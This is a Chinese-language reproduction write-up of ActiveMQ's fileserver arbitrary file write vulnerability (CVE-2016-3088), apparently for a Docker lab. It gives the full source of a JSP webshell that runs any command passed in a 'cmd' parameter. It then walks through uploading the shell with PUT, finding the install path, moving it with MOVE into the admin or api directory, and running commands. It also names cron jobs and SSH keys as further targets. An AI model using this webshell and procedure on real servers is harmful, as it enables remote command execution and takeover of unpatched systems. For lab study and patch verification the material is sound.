ActiveMQ任意檔案寫入(CVE-2016-3088)
0x01 漏洞概述
ActiveMQ Web控制檯分為三個應用程式,admin,api和fileserver,其中admin是管理員頁面,api是介面,fileserver是儲存檔案的介面;管理員和 API 需要先登入才能使用,檔案伺服器不需要登入。
fileserver 是一個 RESTful API 介面。我們可以通過HTTP請求(如GET,PUT和DELETE)讀取和寫入儲存在其中的檔案。設計目的是補償訊息佇列操作無法傳輸和儲存二進位制檔案的缺陷,但後來發現:
(1)其使用率不高
(2)檔案操作容易出現漏洞
因此,ActiveMQ預設在5.12.x—5.13.x中關閉了檔案伺服器應用程式(您可以在conf/jetty.xml中開啟它);在 5.14.0 之後,檔案伺服器應用程式將被完全刪除。在測試過程中,要注意ActiveMQ的版本,防止無用的費力。
0x02 漏洞詳情
這個漏洞出現在Fileserver應用程式中,漏洞原理其實很簡單,即fileserver支援寫入檔案(但不解析JSP),同時支援移動檔案(MOVE請求)。因此,我們只需要寫入一個檔案,然後通過使用移動請求將其移動到任何位置,從而導致任意檔案寫入漏洞。寫入檔案,如 cron 或 ssh 金鑰
(1)編寫 Webshell
(2)寫入檔案,如 cron 或 ssh 金鑰
(3)編寫庫和配置檔案,如 jar 或 jetty.xml
0x03 漏洞環境
1、啟動漏洞環境
2、檢視漏洞搭建情況
http://your-ip:8161/
3、刪除漏洞環境
docker-compose down
0x04 復現過程
1、訪問fileserver路徑
2、利用burpsuite工具抓包
3、傳送到重發器,PUT上傳一個jsp的webshell到fileserver目錄,下圖可以看到成功上傳jsp檔案。
.js檔案如下:
<%@ page import="java.io.*"%> <% out.print("Hello</br>"); String strcmd=request.getParameter("cmd"); String line=null; Process p=Runtime.getRuntime().exec(strcmd); BufferedReader br=new BufferedReader(new InputStreamReader(p.getInputStream())); while((line=br.readLine())!=null){ out.print(line+"</br>"); } %>
4、使用瀏覽器訪問
http://your-ip:8161/fileserver/1.jsp
通過上圖可以看到,fileserver目錄下的webshell沒有被解析,說明fileserver目錄沒有執行許可權。
5、通過瀏覽器訪問ActiveMQ的絕對路徑
http://your-ip:8161/admin/test/systemProperties.jsp
6、通過move的方法,將木馬檔案移動到api或admin
7、訪問該路徑
http://your-ip:8161/api/1.jsp?cmd=ls
顯示該介面,則訪問成功。